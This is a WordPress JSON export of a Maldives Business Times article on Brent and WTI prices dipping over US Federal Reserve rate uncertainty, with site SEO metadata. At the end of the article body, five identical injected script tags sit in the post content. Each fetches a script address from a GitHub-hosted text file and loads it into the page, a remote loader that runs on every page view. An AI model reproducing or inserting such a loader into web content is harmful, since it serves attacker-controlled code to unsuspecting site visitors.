{"id":9527,"date":"2024-05-27T06:05:13","date_gmt":"2024-05-27T01:05:13","guid":{"rendered":"https:\/\/mbt.mv\/?p=9527"},"modified":"2024-05-27T06:05:13","modified_gmt":"2024-05-27T01:05:13","slug":"oil-prices-down-over-us-fed-interest-rate-policy-uncertainty","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9527","title":{"rendered":"Oil prices down over US Fed interest rate policy uncertainty"},"content":{"rendered":"<p>Oil prices dropped lower earlier on Friday amid ongoing concerns about the timing of the first interest rate cut by the US Federal Reserve (Fed), as well as the lower demand outlook in the US, and market players being cautious ahead of the Organization of Petroleum Exporting Countries (OPEC) meeting.<\/p>\n<p>It was reported that international benchmark Brent crude traded at USD81.13 per barrel, which is a fall of 0.28% from the closing price of USD 81.36 per barrel in the previous trading session.<\/p>\n<p>The American benchmark West Texas Intermediate (WTI) on the other hand, traded at USD76.61 per barrel at the same time; a 0.34% decrease from previous session that closed at USD76.87 per barrel.<\/p>\n<p>Analysts suggest that positive economic data flow from the US increased the possibility of Fed keeping the policy rate high for longer.<\/p>\n<p>Meanwhile, the largest state-owned enterprise (SOE) in the Maldives, Stating Trading Organization (STO) announced on Sunday, that it has effectively dropped the retail prices on fuel &#8211; petrol and diesel &#8211; citing the decision reflects global oil price reductions.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oil prices dropped lower earlier on Friday amid ongoing concerns about the timing of the first interest rate cut by the US Federal Reserve (Fed), as well as the lower demand outlook in the US, and market players being cautious ahead of the Organization of Petroleum Exporting Countries (OPEC) meeting. It was reported that international<\/p>\n","protected":false},"author":4,"featured_media":9528,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423],"tags":[],"class_list":{"0":"post-9527","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Oil prices down over US Fed interest rate policy uncertainty - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=9527\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Oil prices down over US Fed interest rate policy uncertainty - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"Oil prices dropped lower earlier on Friday amid ongoing concerns about the timing of the first interest rate cut by the US Federal Reserve (Fed), as well as the lower demand outlook in the US, and market players being cautious ahead of the Organization of Petroleum Exporting Countries (OPEC) meeting. It was reported that international\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=9527\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-05-27T01:05:13+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/05\/Oil-Rig-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1237\" \/>\n\t<meta property=\"og:image:height\" content=\"666\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=9527#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=9527\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Oil prices down over US Fed interest rate policy uncertainty\",\"datePublished\":\"2024-05-27T01:05:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=9527\"},\"wordCount\":183,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=9527#primaryimage\"},\"thumbnailUrl\":\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/05\/Oil-Rig-1.jpg\",\"articleSection\":[\"BUSINESS\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=9527#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=9527\",\"url\":\"https:\/\/mbt.mv\/?p=9527\",\"name\":\"Oil prices down over US Fed interest rate policy uncertainty - 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